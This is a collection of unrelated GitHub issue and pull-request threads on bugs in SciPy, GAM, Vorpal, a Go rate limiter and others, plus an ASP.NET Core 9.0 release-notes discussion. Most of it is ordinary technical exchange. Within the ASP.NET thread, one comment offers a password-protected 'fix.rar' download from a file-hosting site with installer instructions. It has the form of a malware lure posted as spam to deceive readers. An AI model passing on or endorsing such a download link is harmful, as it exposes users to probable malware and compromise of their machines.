Thank you for the report @bmwiedemann. I agree that that can be considered a bug.
The issue here stems from this line in scipy/special/_generate_pyx.py:
defs.append(f'cdef extern from r"{proto_h_filename}":')

where proto_h_filename is an absolute path. Given that meson-python creates a tmpdir, absolute paths in installed files are no good.
However, the more desirable fix here is to not install this header at all, since we don't need it in the installed package. For why we currently install it, see: https://github.com/scipy/scipy/blob/f8036bc210d95365cd3a9ac44462ad0640cad9a1/scipy/special/meson.build#L287-L291

In this case, we should be able to change _generate_pyx.py to use a relative path though, since the referenced header is located right next to the .pyx file. So that's the easier fix here.

There's a bunch of other code gen scripts with cdef extern from, but the ones I checked all used relative paths.


UserDefaults return nil

In body property of Tty view, UserDefaults.standard.string returns nil for crtColor even though it is set and registered in Hmi.init.
https://stackoverflow.com/a/36790348

Missed to load Tty.plist file. Fixed with commit #3.
Still implicitly unwrapped optional error in Tty view.


Phoneset is wrong! There are 115 phonemes!

>>> from russian_g2p import Grapheme2Phoneme
>>> your_transcriptor = Grapheme2Phoneme()
>>> len(your_transcriptor.russian_phonemes)
115

But why? What are these 115 phonemes?

Fixed in ad0832b, implemented a switch for enabling/disabling long phonemes in transcriptions


Test Pull Request and Netlify

🚀 Deployed on https://5ef3506597d4fbdf02a968cf--manim-doc.netlify.app


Error in "gam all users print delegates"

Hi,
I'm running GAM 4.40 on a MacMini with El Capitan.
I haven't had this problem until last Friday when I had this error:
Traceback (most recent call last):
File "gam.py", line 12881, in
File "gam.py", line 12604, in ProcessGAMCommand
File "gam.py", line 1437, in printShowDelegates
File "gam.py", line 711, in callGAPI
File "/Users/jay/gam/src/oauth2client/util.py", line 137, in positional_wrapper
File "googleapiclient/http.py", line 837, in execute
File "googleapiclient/http.py", line 163, in _retry_request
File "oauth2client/transport.py", line 175, in new_request
File "oauth2client/transport.py", line 282, in request
File "httplib2/init.py", line 1659, in request
File "httplib2/init.py", line 1399, in _request
File "httplib2/init.py", line 1382, in _conn_request
File "httplib.py", line 573, in read
File "httplib.py", line 627, in _read_chunked
httplib.IncompleteRead: IncompleteRead(10 bytes read)
[70308] Failed to execute script gam
Sometimes in the past I got a zero file size when I ran this command.
Thank you,
Andrea

Andrea,
Does this fail repeatedly? Do other commands work?
Ross
On Sun, Apr 22, 2018 at 11:36 PM, Andrea Pasqua<EMAIL_ADDRESS>wrote:

Hi,
I'm running GAM 4.40 on a MacMini with El Capitan.
I haven't had this problem until last Friday when I had this error:
Traceback (most recent call last):
File "gam.py", line 12881, in
File "gam.py", line 12604, in ProcessGAMCommand
File "gam.py", line 1437, in printShowDelegates
File "gam.py", line 711, in callGAPI
File "/Users/jay/gam/src/oauth2client/util.py", line 137, in
positional_wrapper
File "googleapiclient/http.py", line 837, in execute
File "googleapiclient/http.py", line 163, in _retry_request
File "oauth2client/transport.py", line 175, in new_request
File "oauth2client/transport.py", line 282, in request
File "httplib2/init.py", line 1659, in request
File "httplib2/init.py", line 1399, in _request
File "httplib2/init.py", line 1382, in _conn_request
File "httplib.py", line 573, in read
File "httplib.py", line 627, in _read_chunked
httplib.IncompleteRead: IncompleteRead(10 bytes read)
[70308] Failed to execute script gam
Sometimes in the past I got a zero file size when I ran this command.
Thank you,
Andrea
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/jay0lee/GAM/issues/724, or mute the thread
https://github.com/notifications/unsubscribe-auth/AIU8L1fX6dGY4r7Mvk8IhmYYZVAYjmc-ks5trXZTgaJpZM4TfUXw
.

--
Ross Scroggs
<EMAIL_ADDRESS>

Yes, it is repeated every time I use that command and only that. Others work properly.

Andrea,
If there are any files in your gamcache directory, delete them an retry.
Ross
On Mon, Apr 23, 2018 at 11:10 PM, Andrea Pasqua<EMAIL_ADDRESS>wrote:

Yes, it is repeated every time I use that command and only that. Others
work properly.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/jay0lee/GAM/issues/724#issuecomment-383814853, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AIU8L1zhBFML0qLzJJDpWFKORTIAgpblks5trsHPgaJpZM4TfUXw
.

--
Ross Scroggs
<EMAIL_ADDRESS>

It seems it's OK now. I don't know what's the problem. I haven't touched nothing.
Thank you for support


Allow setting of date properties

It'd be nice if you could set date properties as well as get them, but probably not for v1, I imagine it'd be horrific to work out.

Nope, not doing this. Dates are immutable


[backport] Conditionally change identifiers for ROCm

Backport of #7079 by @hubertlu-tw

/test jenkins


GSNGM-789: Topics with KML models

@b4l  can we, just to make it testable, add two KML's to the topic "Hot springs"? (I'll upload samples to the Jira issue)

can we also rename the file "showcase-projects" to topics? just to make it clear also for the future. (I know this is maybe too general for this PR... maybe it needs another PR.)


UI Prompt called when already mid prompt

I've recently discovered this issue prompting an array of questions.
It only happens after the first question and when ctrl + c is pressed to be able to go out the prompt.
.action(function (args, callback) {
  this.prompt([
    { ... }, // during this question is still possible to exist
    { ... } // here pressing `ctrl + c` will cause the error
  ])
})

Error in the console
Error: UI Prompt called when already mid prompt.
    at UI.prompt (/web/blocklevel/blue-next/packages/bcli/node_modules/vorpal/dist/ui.js:209:15)
    at /web/blocklevel/blue-next/packages/bcli/node_modules/vorpal/dist/vorpal.js:571:19
    at Vorpal.vorpal.prompt (/web/blocklevel/blue-next/packages/bcli/node_modules/vorpal/dist/vorpal.js:546:10)
    at Session.session.prompt (/web/blocklevel/blue-next/packages/bcli/node_modules/vorpal/dist/session.js:132:22)
    at CommandInstance.prompt (/web/blocklevel/blue-next/packages/bcli/node_modules/vorpal/dist/command-instance.js:101:27)
    at pathExists.then.exists (/web/blocklevel/blue-next/packages/bcli/src/commands/_component.js:56:23)

OS: macOS Sierra
node: 7.4.0
npm: 4.3.0
yarn: 0.21.3

Well I have apparently fixed it chaining the cancel method after the action one
.cancel(function () {
   process.exit(1)
})

Don't know if this is the proper way but I'm not blocked anymore.
Up to you if you want to close the issue because maybe you want to handle this problem in a better way.
And btw terrific project! I really like it a lot!


Format 'tabs' question. How to change names?

Hi
when i'm using 'format: "tabs"' - it shows me tabs, but the names are 'item 1', 'item 2' etc
how can i change this items names.

Use something like

headerTemplate:"{{self.name}}"

where "name" is existing property of your object

thank you, it works!


fix rate limiter bug

This is to fix the bug we found in canary alert.
The way we created the RateLimiter is incorrect. Here is the API:
// NewLimiter returns a new Limiter that allows events up to rate r and permits
// bursts of at most b tokens.
func NewLimiter(r Limit, b int) *Limiter
Here is how we use it:
rate.NewLimiter(rate.Every(maxTaskRateRefreshDuration), maxTaskRate)
In canary case, refresh duration is 1s, and the maxTaskRate is 100k. This means no rate limit for first 100K calls, then it will limit to 1 request for every 1s.
The correct usage should be:
rate.NewLimiter(maxTaskPerSecond, 1)
This means allow maxTaskPerSeconds for every 1s, and no burst.

Coverage decreased (-98.6%) to 0.0% when pulling 171a9ebe194d677fad2d3fcd5b03429843033b8a on yiminc:fix_rl into 1a0a0b7bd50d1b6387a62f85544d2c60a89d548a on uber-go:master.

Coverage remained the same at 98.585% when pulling 171a9ebe194d677fad2d3fcd5b03429843033b8a on yiminc:fix_rl into 1a0a0b7bd50d1b6387a62f85544d2c60a89d548a on uber-go:master.

Coverage remained the same at 98.585% when pulling 231a6f43d11d680a9ca60717975968d4a009704c on yiminc:fix_rl into 1a0a0b7bd50d1b6387a62f85544d2c60a89d548a on uber-go:master.


Sample fix and rename Textarea components to TextArea

Fix #1945 - rest operator is not supported in Edge (yet?)
Rename Textarea components to TextArea

Investigating why my file rename worked locally but not on Travis.

Coverage increased (+35.8%) to 57.67% when pulling 35964d6eeeb46a8f06fb482ae3b8917780ab3223 on corinagum:qa-4.4 into b476903ac66593d0c852dd1e3466b034051b3a47 on Microsoft:master.


Update the "What's new in ASP.NET Core 9.0" for .NET 9 Release Candidate 1

Description
Update the "What's new in ASP.NET Core 9.0" for .NET 9 Release Candidate 1
Page URL
https://learn.microsoft.com/en-us/aspnet/core/release-notes/aspnetcore-9.0?view=aspnetcore-8.0
Content source URL
https://github.com/dotnet/AspNetCore.Docs/blob/main/aspnetcore/release-notes/aspnetcore-9.0.md
Document ID
4e75ad25-2c3f-b28e-6a91-ac79a9c683b6
Article author
@Rick-Anderson

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Keep-Alive Timeout for WebSockets
The WebSockets middleware can now be configured for keep alive timeouts.
The keep alive timeout will abort the WebSocket and throw from WebSocket.ReceiveAsync if a ping frame from the websocket protocol is sent by the server and the client doesn't reply with a pong frame within the specified timeout. The ping frame is automatically sent by the server and configured with KeepAliveInterval. This option is useful when wanting to detect connections that might be slow or ungracefully disconnected.
The keep alive timeout can be configured globally for the WebSocket middleware:
app.UseWebSockets(new WebSocketOptions { KeepAliveInterval = TimeSpan.FromSeconds(15) });

Or configured per accepted WebSocket:
app.Run(async (context) =>
{
    using var webSocket = await context.WebSockets.AcceptWebSocketAsync(
        new WebSocketAcceptContext { KeepAliveTimeout = TimeSpan.FromSeconds(15) });

    // ...
}

Keyed DI in Middleware
Middleware now supports Keyed DI in both the constructor and the Invoke/InvokeAsync method.
private class MyMiddleware
{
    private readonly RequestDelegate _next;

    public MyMiddleware(RequestDelegate next, [FromKeyedServices("name")] IService service)
    {
        _next = next;
    }

    public Task Invoke(HttpContext context, [FromKeyedServices("obj")] IRequestService requestService) => _next(context);
}

See Write custom ASP.NET Core middleware for more information on writing custom middleware.
Thanks to NicoBrabers for this contribution!

<InputNumber> range input support
The <InputNumber> component now supports specifying the type="range" attribute, bringing model binding and form validation to range inputs:
<InputNumber type="range" min="1" max="10" step="1" @bind-Value="Model.Rating" />

Thanks for the contribution, MattyLeslie!

In case we want a more detailed example:
<EditForm FormName="BlazorSurvey" Model="Model">
    <DataAnnotationsValidator />
    <ValidationSummary />

        Rate how awesome this feature is (1 to 10)

        <InputNumber id="rating" type="range" min="1" max="10" step="1" @bind-Value="Model!.Rating" />

    <button type="submit">Submit</button>
</EditForm>

@code {
    [SupplyParameterFromForm] BlazorSurvey? Model { get; set; }

    override protected void OnInitialized() => Model ??= new();

    class BlazorSurvey
    {
        [Required, Range(minimum: 10, maximum: 10, ErrorMessage = "The rating must be 10.")]
        public int Rating { get; set; }
    }
}

From @JamesNK:
Improvements to SignalR distributed tracing
.NET 9 preview 6 added initial support for SignalR distributed tracing. RC1 improves SignalR tracing with new capabilities:

.NET SignalR client has an ActivitySource named "Microsoft.AspNetCore.SignalR.Client". Hub invocations now create a client span. Note that other SignalR clients, such as the JavaScript client, don't support tracing. This feature will be added to more clients in future releases.
Hub invocations on the client and server support context propagation. Propagating the trace context enables true distributed tracing. It's now possible to see invocations flow from the client to the server and back.

Here's how these new activities look in the .NET Aspire dashboard:

We have live changes and reviews going on async in both dotnet/release-notes-draft and here in this docs version.
I do not suggest we have to figure it out now for this release, but it seems like at some point we could do this all one place with one source for the same audience.  We are duplicating effort with async reviews and edits are going on in both places.  A process that in inherently invites some problems that could be avoided.

dotnet dev-certs https --trust on Linux
On Ubuntu and Fedora, dotnet dev-certs https --trust will now configure trust of the self-signed development certificate in Chromium (Edge, Chrome, Chromium, etc) and Mozilla (Firefox, etc) browsers, as well as in dotnet (HttpClient, etc).  Previously, --trust only worked on Windows and macOS.
[I believe the docs changes are staged but not live.]

Improvements to SignalR distributed tracing ...

I will combine this new SignalR Client ActivitySource with the existing section we have for the SignalR Hub ActivitySource as two sub-sections to a SignalR ActivitySource section.  (Unless that isn't wanted.)